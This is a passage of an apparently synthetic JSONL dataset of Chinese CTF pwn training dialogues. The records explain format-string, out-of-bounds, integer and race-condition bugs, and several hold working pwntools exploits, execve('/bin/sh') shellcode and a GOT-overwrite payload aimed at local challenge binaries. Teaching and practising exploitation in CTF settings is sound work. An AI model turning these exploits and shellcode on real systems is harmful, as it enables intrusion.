'aaaa.%p.%p.%p.%p.%p.%p.%p'\nRIP  0x555555554747 (main+157) ◂— call   0x555555554580\n```\n\n栈结构：\n\n```plain\n00:0000│ rdi rsp  0x7fffffffdd20 ◂— 'aaaa.%p.%p.%p.%p.%p.%p.%p'\n01:0008│          0x7fffffffdd28 ◂— '%p.%p.%p.%p.%p.%p'\n02:0010│          0x7fffffffdd30 ◂— '.%p.%p.%p'\n03:0018│          0x7fffffffdd38 ◂— 0x70 /* 'p' */\n04:0020│          0x7fffffffdd40 ◂— 0x0\n```\n\n由于 64 位程序先使用 `rdi`、`rsi`、`rdx`、`rcx`、`r8`、`r9` 寄存器作为函数参数的前六个参数，多余的参数会依次压在栈上，因此前 6 个输出的为寄存器中的值（`aaaa` 看做是格式化字符串参数），格式化字符串前 8 个字节作为参数 6 。\n\n泄露偏移", "role": "assistant"}], "metadata": {"category": "misc_vuln", "ctf_score": 20, "ctf_task_type": "misc", "original_id": "pwn101-doc-1bf885dfd1a53206", "original_line": 485, "original_split": "train", "record_type": "doc_section", "source_dataset": "pwn101_distilled_v1", "source_path": "其它漏洞/格式化字符串/格式化字符串.md", "split": "train", "split_group_key": "66ee73d9d84fbb78d933b045"}, "source_dataset": "pwn101_distilled_v1", "source_path": "其它漏洞/格式化字符串/格式化字符串.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc_pwn", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-886904b3c8eaba3da8f2", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "请讲解 CTF pwn/二进制安全知识点「minishell」。\n资料来源：其它/minishell/wp.md；主题：minishell；分类：misc_pwn。\n要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。", "role": "user"}, {"content": "## minishell\n\n> 题目描述：shell？shellcode！\n\n[图片: image-20250513095358674]\n\n运行发现是一个模拟shell的程序，模拟了 ls 命令、whoami 命令、pwn 命令以及cat命令，但是 cat 命令存在问题。\n\n[图片: image-20250513095540323]\n\n我们接下来反编译分析\n\n[图片: image-20250513095650482]\n\n分析 cat 命令函数\n\n这里 mmap 了一块可读可写可执行的堆块然后从标准输入向这个堆块读取数据。之后调用了 sub_139b 函数。\n\n[图片: image-20250513095721324]\n\n这里跳转到 rdi 函数。\n\n[图片: image-20250513095850234]\n\n结合反汇编分析，发现就是执行我们 mmap 分配的空间中的数据。\n\n[图片: image-20250513095923812]\n\n所以很明显这里就是一个写shellcode的题目。接下来动态分析。\n\n动态调试输入`aaa`作为测试数据发现在我们执行 shellcode 的时候除了`rdi`寄存器和`rip`寄存器外的所有寄存器全部被清空。这样我们常规的 shellcode 根本无法使用。所以我们必须手动构造 shellcode。\n\n[图片: image-20250513100300100]\n\n我们需要手动构造 shellcode，使得寄存器满足以下条件。\n\n```\nrax=59 系统调用号\nrdi=/bin/sh的指针\nrsi=0\nrdx=0\n```\n\n之后再执行`syscall`触发中断。\n\n由此我们可以得到以下通用 shellcode。\n\n```assembly\nxor     rax, rax                    ; rax = 0\nmov     rbx, 0x68732f2f6e69622f     ; \"/bin//sh\"（使用双斜杠避免 NULL 字节）\npush    rbx                         ; 压栈 \"/bin/sh\"\nmov     rdi, rsp                    ; rdi = 指向 \"/bin/sh\"\nxor     rsi, rsi                    ; rsi = NULL（argv）\nxor     rdx, rdx                    ; rdx = NULL（envp）\nmov     al, 59                      ; execve syscall 编号 (59)\nsyscall                             ; 调用 execve(\"/bin/sh\", NULL, NULL)\n```\n\n[图片: image-20250513101204564]\n\n使用 pwntools 编码之后发现为 27 字节。\n\n但是我们`read`读取的内容限制为0x15即21字节。\n\n[图片: image-20250513100647960]\n\n所以我们需要缩短 shellcode，由于我们是将很多寄存器清零了的所以这里就不必执行很多寄存器的清零操作，我们可以将它们省略掉。\n\n```assembly\nmov     rbx, 0x68732f2f6e69622f     ; \"/bin//sh\"（使用双斜杠避免 NULL 字节）\npush    rbx                         ; 压栈 \"/bin/sh\"\nmov     rdi, rsp                    ; rdi = 指向 \"/bin/sh\"\nmov     al, 59                      ; execve syscall 编号 (59)\nsyscall                             ; 调用 execve(\"/bin/sh\", NULL, NULL)\n```\n\n再次编码看看\n\n这次缩短到了 18 字节符合要求，但是这里有一个大问题，就是我们的`/bin/sh`的指针是通过栈传递的即`rsp`寄存器。但是程序将`rsp`寄存器也清零了。\n\n[图片: image-20250513101554963]\n\n没有栈给我们用咋办，但是这里我们发现我们还有一个寄存器可以用，就是`rdi`寄存器。它指向我们 mmap 的那块空间，这里我们思路骚一点将`rdi`指向的空间当成栈来用。就是通过汇编将`rdi`指向的地址复制给`rsp`，然后我们再通过传递栈指针。\n\n由此我们得到以下 shellcode。\n\n```assembly\nlea    rsp,[rdi+0x70]\nmov    rbx,0x68732f2f6e69622f\npush   rbx\npush   rsp\npop    rdi\nmov    al,59\nsyscall\n```\n\n再次编码之后发现为21字节，正好符合要求。\n\n[图片: image-20250513102135230]\n\n接下来就可以构造exp了。\n\n```python\n#!/usr/bin/env python3\nfrom pwn import *\n\ndef dbg(c=0):\n    if c:\n        gdb.attach(io, c)\n    else:\n        gdb.attach(io)\n        pause()\n\ns = lambda data: io.send(data)\nsa = lambda text, data: io.sendafter(text, data)\nsl = lambda data: io.sendline(data)\nsla = lambda text, data: io.sendlineafter(text, data)\nr = lambda num=4096: io.recv(num)\nru = lambda text: io.recvuntil(text)\npr = lambda num=4096: print(io.recv(num))\nia = lambda: io.interactive()\nint16 = lambda data: int(data, 16)\nlg = lambda s, num: io.success('%s -> 0x%x' % (s, num))\n\nelf = ELF('pwn')\nio = process([elf.path])\ncontext(os=elf.os, arch=elf.arch, log_level='debug')\n\nru(\"minishell$\")\nsl(\"cat\")\nshellcode = \"\"\"\nlea    rsp,[rdi+0x70]\nmov    rbx,0x68732f2f6e69622f\npush   rbx\npush   rsp\npop    rdi\nmov    al,59\nsyscall\n\"\"\"\nshellcode=asm(shellcode)\nprint(len(shellcode))\n#dbg()\ns(shellcode)\n\nia()\n```\n\n运行，getshell\n\n[图片: image-20250513102257480]", "role": "assistant"}], "metadata": {"category": "misc_pwn", "ctf_score": 20, "ctf_task_type": "misc", "original_id": "pwn101-doc-1cde418668ca1149", "original_line": 434, "original_split": "train", "record_type": "doc_section", "source_dataset": "pwn101_distilled_v1", "source_path": "其它/minishell/wp.md", "split": "train", "split_group_key": "ffdab3b98aa157f28ec1550f"}, "source_dataset": "pwn101_distilled_v1", "source_path": "其它/minishell/wp.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc_pwn", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-909c3135b63201dc4571", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "请讲解 CTF pwn/二进制安全知识点「程序逻辑」。\n资料来源：其它/2024ccb anote/WP.md；主题：2024 CCB anote Writeup；分类：misc_pwn。\n要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。", "role": "user"}, {"content": "## 程序逻辑\n\n主菜单有 4 个功能：\n\n```text\n1. add\n2. show content\n3. edit content\n4. exit\n```\n\n`add` 每次创建一个大小为 `0x1c` 的 C++ 对象：\n\n```c\nv1 = operator new(0x1c);\nmemset(v1, 0, 0x1c);\nsub_8048DFC(v1);      // *(obj) = 0x8048f48\nnotes[count++] = v1;\n```\n\n构造函数只设置对象首 DWORD 为 vptr：\n\n```asm\n8048dfc: mov edx, 0x8048f48\n8048e04: mov eax, [ebp+arg_0]\n8048e07: mov [eax], edx\n```\n\n对象布局：\n\n```text\nobj + 0x00  vptr\nobj + 0x04  index\nobj + 0x08  content\n```\n\n`show` 会泄露对象地址：\n\n```c\ncout << \"gift: \" << notes[index] << endl;\nsub_80489E8(notes[index]);\n```\n\n`edit` 逻辑如下：\n\n```c\nif (n > 40) exit(0);\ncin.getline(src, 32);\nsub_8048A86(notes[index], src, index, n);\n(***notes[index])(notes[index]);\n```\n\n其中 `sub_8048A86` 是漏洞点：\n\n```c\nvoid *sub_8048A86(int obj, void *src, int idx, size_t n) {\n    *(obj + 4) = idx;\n    return memcpy(obj + 8, src, n);\n}\n```\n\n对象只申请了 `0x1c` 字节，`content` 从 `obj+0x8` 开始，理论可写空间只有 `0x14` 字节；但 `edit` 允许 `n <= 40`，因此可以从 `obj+0x8` 向后溢出。", "role": "assistant"}], "metadata": {"category": "misc_pwn", "ctf_score": 22, "ctf_task_type": "misc", "original_id": "pwn101-doc-90edfcc8639ff4ea", "original_line": 427, "original_split": "train", "record_type": "doc_section", "source_dataset": "pwn101_distilled_v1", "source_path": "其它/2024ccb anote/WP.md", "split": "train", "split_group_key": "aa9c59f952e984a63242d11f"}, "source_dataset": "pwn101_distilled_v1", "source_path": "其它/2024ccb anote/WP.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc_pwn", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-93a4662137f44683c1f4", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "解释 `其它/2024ycb logger/exp.py` 这个 CTF pwn/kernel exploit 代码示例的结构。请指出运行环境、交互封装、泄漏/写入/触发阶段、关键常量，以及代码适合训练模型学习的模式。", "role": "user"}, {"content": "文件：`其它/2024ycb logger/exp.py`\n\n分类：misc_pwn\n\n语言：python\n\n环境/依赖线索：\n- `from pwn import *`\n\n函数/封装：\n- `dbg`\n- `menu`\n- `trace`\n\n关键常量/偏移样例：\n`0x401BC2`\n\n训练用代码片段：\n```python\n#!/usr/bin/env python3\nfrom pwn import *\n\ndef dbg(c=0):\n    if c:\n        gdb.attach(io, c)\n    else:\n        gdb.attach(io)\n        pause()\n\ns = lambda data: io.send(data)\nsa = lambda text, data: io.sendafter(text, data)\nsl = lambda data: io.sendline(data)\nsla = lambda text, data: io.sendlineafter(text, data)\nr = lambda num=4096: io.recv(num)\nru = lambda text: io.recvuntil(text)\nia = lambda: io.interactive()\nl32 = lambda: u32(io.recvuntil(b'\\xf7')[-4:].ljust(4, b'\\x00'))\nl64 = lambda: u64(io.recvuntil(b'\\x7f')[-6:].ljust(8, b'\\x00'))\nuu32 = lambda: u32(io.recv(4).ljust(4, b'\\x00'))\nuu64 = lambda: u64(io.recv(6).ljust(8, b'\\x00'))\nint16 = lambda data: int(data, 16)\nlg = lambda s, num: io.success('%s -> 0x%x' % (s, num))\n\nelf = ELF('pwn')\nio = process([elf.path])\ncontext(os=elf.os, arch=elf.arch, log_level='debug')\ncontext.terminal = ['cmd.exe', '/c', 'start', '\"\"', 'wt.exe', 'wsl', '-e', 'bash', '-lc']\n\ndef menu(index):\n    sla('chocie:', str(index))\n\ndef trace(content='a', judge='n'):\n    menu(1)\n    sla('here: ', content)\n    sla('records? ', judge)\n\n#dbg(\"b __cxa_throw@plt\")\n\n#通过数组越界漏洞修改src数组为/bin/sh\nfor i in range(7):\n    trace()\n\ntrace('a'*0x10,'n')\n\npayload = '/bin/sh;'\ntrace(payload)\n\n#通过溢出漏洞劫持到后面catch进行异常处理\nmenu(2)\npayload = b'a'*0x70\npayload += p64(0X404300)\npayload += p64(0x401BC2+1)\nsa('Type your message here plz: ', payload)\n\nia()\n```", "role": "assistant"}], "metadata": {"category": "misc_pwn", "ctf_score": 20, "ctf_task_type": "misc", "original_id": "pwn101-code-604f8eca7ffa59c6", "original_line": 39, "original_split": "validation", "record_type": "code_explanation", "source_dataset": "pwn101_distilled_v1", "source_path": "其它/2024ycb logger/exp.py", "split": "train", "split_group_key": "a974bc9dfcb0111fca91e097"}, "source_dataset": "pwn101_distilled_v1", "source_path": "其它/2024ycb logger/exp.py", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc_vuln", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-941e9f5ddee3492b5617", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "请讲解 CTF pwn/二进制安全知识点「整数比较」。\n资料来源：其它漏洞/other vuln.md；主题：其它漏洞；分类：misc_vuln。\n要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。", "role": "user"}, {"content": "#### 整数比较\n\n整数比较漏洞发生在两个不同大小的整数比较时，可能会产生意外的结果。比如有符号整数与无符号整数的比较可能导致逻辑错误。\n\n```c\n#include \n\nint main(void) {\n    int snum = -1;\n    unsigned int unum = 4294967295;\n\n    if (snum < unum) {\n        printf(\"less\\n\");\n    } else {\n        printf(\"not less\\n\");\n    }\n\n    return 0;\n}\n```\n\n上述代码中`snum`和`unum`比较时从有符号数转换成立无符号数，结果是大于`unum`的。", "role": "assistant"}], "metadata": {"category": "misc_vuln", "ctf_score": 18, "ctf_task_type": "misc", "original_id": "pwn101-doc-a4ff5c5efd312397", "original_line": 477, "original_split": "train", "record_type": "doc_section", "source_dataset": "pwn101_distilled_v1", "source_path": "其它漏洞/other vuln.md", "split": "train", "split_group_key": "44a6193df6d51bf7428f0fe7"}, "source_dataset": "pwn101_distilled_v1", "source_path": "其它漏洞/other vuln.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc_vuln", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-946ae052b58c35e1dc1c", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "解释 `其它漏洞/条件竞争/[NISACTF 2022]shop_pwn/exp_cli.py` 这个 CTF pwn/kernel exploit 代码示例的结构。请指出运行环境、交互封装、泄漏/写入/触发阶段、关键常量，以及代码适合训练模型学习的模式。", "role": "user"}, {"content": "文件：`其它漏洞/条件竞争/[NISACTF 2022]shop_pwn/exp_cli.py`\n\n分类：misc_vuln\n\n语言：python\n\n环境/依赖线索：\n- `from pwncli import *`\n\n训练用代码片段：\n```python\n#!/usr/bin/env python3\nfrom pwncli import *\ncli_script()\n\nio: tube = gift.io\nelf: ELF = gift.elf\n\nsl(b'3')\nsl(b'0')\n\nsl(b'3')\nsl(b'0')\n\nsla(b'> ', b'2')\nsla(b'> ', b'1')\nr()\n\nsla(b'> ', b'1')\nr()\n\nia()\n```", "role": "assistant"}], "metadata": {"category": "misc_vuln", "ctf_score": 18, "ctf_task_type": "misc", "original_id": "pwn101-code-9119e7c02ac1f09e", "original_line": 449, "original_split": "train", "record_type": "code_explanation", "source_dataset": "pwn101_distilled_v1", "source_path": "其它漏洞/条件竞争/[NISACTF 2022]shop_pwn/exp_cli.py", "split": "train", "split_group_key": "2f1bfd551de5dc363f8467e8"}, "source_dataset": "pwn101_distilled_v1", "source_path": "其它漏洞/条件竞争/[NISACTF 2022]shop_pwn/exp_cli.py", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc_vuln", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-94a03b0468353ad5385f", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "请讲解 CTF pwn/二进制安全知识点「泄露信息：elf base, ld base, libc base, stack」。\n资料来源：其它漏洞/格式化字符串/格式化字符串.md；主题：调试断点，方便跟踪 payload 的执行；分类：misc_vuln。\n要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。", "role": "user"}, {"content": "# 泄露信息：elf base, ld base, libc base, stack\np.sendafter(\"please input:\\n\", \"%p%5$p%7$p%9$p\")\n\nelf.address  = int(p.recv(14), 16) - 0x2012\ninfo(\"elf base: \" + hex(elf.address))\n\nld_base      = int(p.recv(14), 16) - 0x11d60\ninfo(\"ld base: \" + hex(ld_base))\n\nlibc.address = int(p.recv(14), 16) - 0x24083\ninfo(\"libc base: \" + hex(libc.address))\n\nstack_addr   = int(p.recv(14), 16) - 0xf8\ninfo(\"stack addr: \" + hex(stack_addr))", "role": "assistant"}], "metadata": {"category": "misc_vuln", "ctf_score": 20, "ctf_task_type": "misc", "original_id": "pwn101-doc-218f184f43c1fcc7", "original_line": 486, "original_split": "train", "record_type": "doc_section", "source_dataset": "pwn101_distilled_v1", "source_path": "其它漏洞/格式化字符串/格式化字符串.md", "split": "train", "split_group_key": "66ee73d9d84fbb78d933b045"}, "source_dataset": "pwn101_distilled_v1", "source_path": "其它漏洞/格式化字符串/格式化字符串.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc_vuln", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-9b3fcdb034a1736dc341", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "请讲解 CTF pwn/二进制安全知识点「防范」。\n资料来源：其它漏洞/other vuln.md；主题：其它漏洞；分类：misc_vuln。\n要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。", "role": "user"}, {"content": "### 防范\n\n防范条件竞争这里我们介绍两个方法，一是通过互斥锁来确保每次只有一个线程能够访问和修改共享资源。二是通过原子操作来保证每次线程操作的原子性。\n\n**使用互斥锁：**\n\n我们修改上面有漏洞的代码。\n\n```c\n#include \n#include \n#include \n\nint counter;\npthread_mutex_t mutex;  // 创建一个互斥锁\n\nvoid *IncreaseCounter(void *args) {\n    // 在修改counter之前先加锁\n    pthread_mutex_lock(&mutex);\n\n    // 修改共享资源counter\n    counter += 1;\n\n    // 模拟一定的延迟\n    sleep(0.1);\n\n    // 打印当前线程id和counter变量的值\n    printf(\"Thread %u has counter value %d\\n\", (unsigned int)pthread_self(), counter);\n\n    // 修改完毕后解锁\n    pthread_mutex_unlock(&mutex);\n}\n\nint main() {\n    pthread_t p[10];\n\n    // 初始化互斥锁\n    pthread_mutex_init(&mutex, NULL);\n\n    for (int i = 0; i < 10; ++i) {\n        // 创建线程并执行IncreaseCounter函数\n        pthread_create(&p[i], NULL, IncreaseCounter, NULL);\n    }\n\n    for (int i = 0; i < 10; ++i) {\n        // 等待线程执行结束\n        pthread_join(p[i], NULL);\n    }\n\n    // 销毁互斥锁\n    pthread_mutex_destroy(&mutex);\n\n    return 0;\n}\n```\n\n**使用原子操作：**\n\n原子操作是指在执行过程中不会被其他线程打断的操作。C语言提供了一些原子操作接口，例如`atomic`库中的原子类型和操作。对于简单的变量增减操作，使用原子操作可以避免条件竞争。\n\n```c\n#include \n#include \n\natomic_int counter = 0;\n\nvoid *IncreaseCounter(void *args) {\n    atomic_fetch_add(&counter, 1);  // 原子操作，增加 counter\n    return NULL;\n}\n\nint main() {\n    pthread_t threads[10];\n\n    // 创建线程\n    for (int i = 0; i < 10; i++) {\n        pthread_create(&threads[i], NULL, IncreaseCounter, NULL);\n    }\n\n    // 等待线程执行结束\n    for (int i = 0; i < 10; i++) {\n        pthread_join(threads[i], NULL);\n    }\n\n    printf(\"Final counter value: %d\\n\", counter);\n    return 0;\n}\n```", "role": "assistant"}], "metadata": {"category": "misc_vuln", "ctf_score": 18, "ctf_task_type": "misc", "original_id": "pwn101-doc-7c9a7c782ee6bab9", "original_line": 473, "original_split": "train", "record_type": "doc_section", "source_dataset": "pwn101_distilled_v1", "source_path": "其它漏洞/other vuln.md", "split": "train", "split_group_key": "44a6193df6d51bf7428f0fe7"}, "source_dataset": "pwn101_distilled_v1", "source_path": "其它漏洞/other vuln.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc_vuln", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-a38a0c7c4ed0ce58c333", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "请讲解 CTF pwn/二进制安全知识点「hijack GOT」。\n资料来源：其它漏洞/格式化字符串/格式化字符串.md；主题：调试断点，方便跟踪 payload 的执行；分类：misc_vuln。\n要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。", "role": "user"}, {"content": "#### hijack GOT\n\nwdb_2018_2nd_easyfmt\n\n任意地址读泄露内存，任意地址写修改GOT表。\n\n由于动态链接程序是通过 GOT 表调用 libc 函数的。所以我们可以通过修改 GOT 表让某个函数调用时调用指定函数，比如说调用 system 函数。\n\n而只有在程序没有开启 RELRO 保护的时候，GOT 表可以被修改，我们可以通过格式符字符串漏洞修改 GOT 表。比如将 printf 函数 GOT 表修改为 system 函数，这样当我们执行 puts 函数的时候，实际上执行的就是 system函数。\n\n`main`函数的`read`并不存在溢出，但是`main`调用了`magic`函数，跟进查看。\n\n\n一眼丁真，`magic`函数存在一字节溢出和格式化字符串漏洞。\n\n\n并且我们在函数窗口发现了`shell`函数。\n\n[图片: image]\n\n`shell`函数存在后门函数。\n\n[图片: image]\n\n程序存在`canary`保护，但是不`Full RELRO`保护所以`got`表是可写的。\n\n我们可以通过格式化字符串漏洞进行任意地址写，修改`___stack_chk_fail`函数的`got`表为`shell`函数地址。\n\n然后通过一字节溢出损坏`canary`，让程序调用`___stack_chk_fail`函数。\n\n这里我们已经修改`___stack_chk_fail`的`got`表为`shell`函数地址，所以我们调用的是`shell`函数。\n\n这里就可以 getshell 了。\n\n```python\n\tArch:       amd64-64-little\n    RELRO:      Partial RELRO\n    Stack:      Canary found\n    NX:         NX enabled\n    PIE:        No PIE (0x400000)\n    SHSTK:      Enabled\n    IBT:        Enabled\n    Stripped:   No\n```\n\n格式化字符串漏洞处只能输入 25 字节，所以我们只能手动构造格式化字符串。\n\n`___stack_chk_fail`函数的`got`表地址`0x401040`和`shell`函数的地址`0x4011d6`只有后两字节不同，所以我们可以仅仅覆盖`got`表的后两字节既。\n\n[图片: image]\n\n[图片: image]\n\n+ exp\n\n```python\n#!/usr/bin/env python3\nfrom pwncli import *\ncli_script()\n\nio: tube = gift.io\nelf: ELF = gift.elf\nlibc: ELF = gift.libc\n\nru(\"name: \\n\")\nsl(b\"1\")\n\npayload=b\"%4566c%8$hnaaaaa\"+p64(0x404020)+b\"a\"\n\nru(\"you\\n\")\ns(payload)\n\nia()\n```", "role": "assistant"}], "metadata": {"category": "misc_vuln", "ctf_score": 20, "ctf_task_type": "misc", "original_id": "pwn101-doc-1af313f8c2c7ca09", "original_line": 484, "original_split": "train", "record_type": "doc_section", "source_dataset": "pwn101_distilled_v1", "source_path": "其它漏洞/格式化字符串/格式化字符串.md", "split": "train", "split_group_key": "66ee73d9d84fbb78d933b045"}, "source_dataset": "pwn101_distilled_v1", "source_path": "其它漏洞/格式化字符串/格式化字符串.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc_vuln", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-afd1bb60fb4b2a72400d", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "请讲解 CTF pwn/二进制安全知识点「原理」。\n资料来源：其它漏洞/other vuln.md；主题：其它漏洞；分类：misc_vuln。\n要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。", "role": "user"}, {"content": "### 原理\n\n在访问数组时因为数组的索引超出了数组的有效范围，导致可能读取或修改数组之外的数据。\n\n如果攻击者进行精心构造可能可以达到任意代码执行的目的。\n\n在以下面的代码中`arr`数组的索引是`scanf`函数输入的值，并且没有进行检查限制。导致用户可以输入超出`arr`数组索引的内容进行任意地址读写。\n\n因为以下代码中的数组是全局变量数组，因此可以在`bss`段任意地址读写。如果数组是在栈上，那么可以读写栈上数据，比如`canary`。\n\n+ 漏洞示例代码\n\n```c\n#include \n\nint arr[5] = {1, 2, 3, 4, 5};\n\nint main() {\n\n    int index;\n    printf(\"Enter an index: \");\n    scanf(\"%d\", &index);\n    //数组下标取值越界\n    printf(\"arr[%d] = %d\\n\", index, arr[index]);  //任意地址读漏洞。\n    scanf(\"%d\", &index);\n    scanf(\"%s\",arr[index]) //任意地址写漏洞\n\n    return 0;\n}\n\n//指向指针范围越界\nint i;\nint *p;\nint a[5];\n\np=a;\nfor(i=0;i<10;i++){\n    *p=i+10;\n    p++;\n}\n//定义数组时会返回一个指向第一个变量的头指针，对这个指针进行加减运算可以向前或向后移动这个指针，进而访问数组中所有的变量。但在移动指针时，如果不注意移动的次数和位置，会使指针指向数组以外的位置，导致数组发生越界错误。\n```\n\n防止数组越界漏洞的方法就是对数组索引进行有效地检查，确保其在合法范围内。\n\n+ 修补后代码\n\n```c\n#include \n\nint arr[5] = {1, 2, 3, 4, 5};\n\nint main() {\n\n    int index;\n    printf(\"Enter an index: \");\n    scanf(\"%d\", &index);\n    if (index >= 0 && index < 5) {\n        printf(\"arr[%d] = %d\\n\", index, arr[index]);\n    } else {\n        return 1;\n    }\n    printf(\"arr[%d] = %d\\n\", index, arr[index]);  //任意地址读漏洞。\n    scanf(\"%d\", &index);\n    if (index >= 0 && index < 5) {\n        printf(\"arr[%d] = %d\\n\", index, arr[index]);\n    } else {\n        return 1;\n    }\n    scanf(\"%s\",arr[index]) //任意地址写漏洞\n    return 0;\n}\n```", "role": "assistant"}], "metadata": {"category": "misc_vuln", "ctf_score": 18, "ctf_task_type": "misc", "original_id": "pwn101-doc-41efda1d8da8a3b8", "original_line": 470, "original_split": "train", "record_type": "doc_section", "source_dataset": "pwn101_distilled_v1", "source_path": "其它漏洞/other vuln.md", "split": "train", "split_group_key": "44a6193df6d51bf7428f0fe7"}, "source_dataset": "pwn101_distilled_v1", "source_path": "其它漏洞/other vuln.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc_vuln", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-b5e95ef81981bb07886a", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "解释 `其它漏洞/整数溢出/demo.c` 这个 CTF pwn/kernel exploit 代码示例的结构。请指出运行环境、交互封装、泄漏/写入/触发阶段、关键常量，以及代码适合训练模型学习的模式。", "role": "user"}, {"content": "文件：`其它漏洞/整数溢出/demo.c`\n\n分类：misc_vuln\n\n语言：c\n\n环境/依赖线索：\n- `#include `\n\n函数/封装：\n- `main`\n\n关键常量/偏移样例：\n`0x7fff`, `0xffff`, `0x7fffffff`, `0xffffffff`, `0x7fffffffffffffff`, `0xffffffffffffffff`\n\n训练用代码片段：\n```c\n#include \n\nvoid main()\n{\n  unsigned char sa = 0x7f;\n  unsigned short sb = 0x7fff;\n  unsigned int sc = 0x7fffffff;\n  unsigned long sd = 0x7fffffffffffffff;\n\n  unsigned char ua = 0xff;\n  unsigned short ub = 0xffff;\n  unsigned int uc = 0xffffffff;\n  unsigned long ud = 0xffffffffffffffff;\n\n  sa+=1;\n  sb+=1;\n  sc+=1;\n  sd+=1;\n  ua+=1;\n  ub+=1;\n  uc+=1;\n  ud+=1;\n\n  printf(\"signed   char  0x%x  : %d\\n\", sa, sa);\n  printf(\"signed   short 0x%x  : %d\\n\", sb, sb);\n  printf(\"signed   int   0x%x  : %d\\n\", sc, sc);\n  printf(\"signed   long  0x%lx : %ld\\n\", sd, sd);\n\n  printf(\"unsigned char  0x%x  : %u\\n\", ua, ua);\n  printf(\"unsigned short 0x%x  : %u\\n\", ub, ub);\n  printf(\"unsigned int   0x%x  : %u\\n\", uc, uc);\n  printf(\"unsigned long  0x%lx : %lu\\n\", ud, ud);\n}\n```", "role": "assistant"}], "metadata": {"category": "misc_vuln", "ctf_score": 18, "ctf_task_type": "misc", "original_id": "pwn101-code-b14abbe0ca3d8af5", "original_line": 442, "original_split": "train", "record_type": "code_explanation", "source_dataset": "pwn101_distilled_v1", "source_path": "其它漏洞/整数溢出/demo.c", "split": "train", "split_group_key": "9e73559b700498c623bff4a3"}, "source_dataset": "pwn101_distilled_v1", "source_path": "其它漏洞/整数溢出/demo.c", "split": "train", "type": "ctf_lora_sft"}
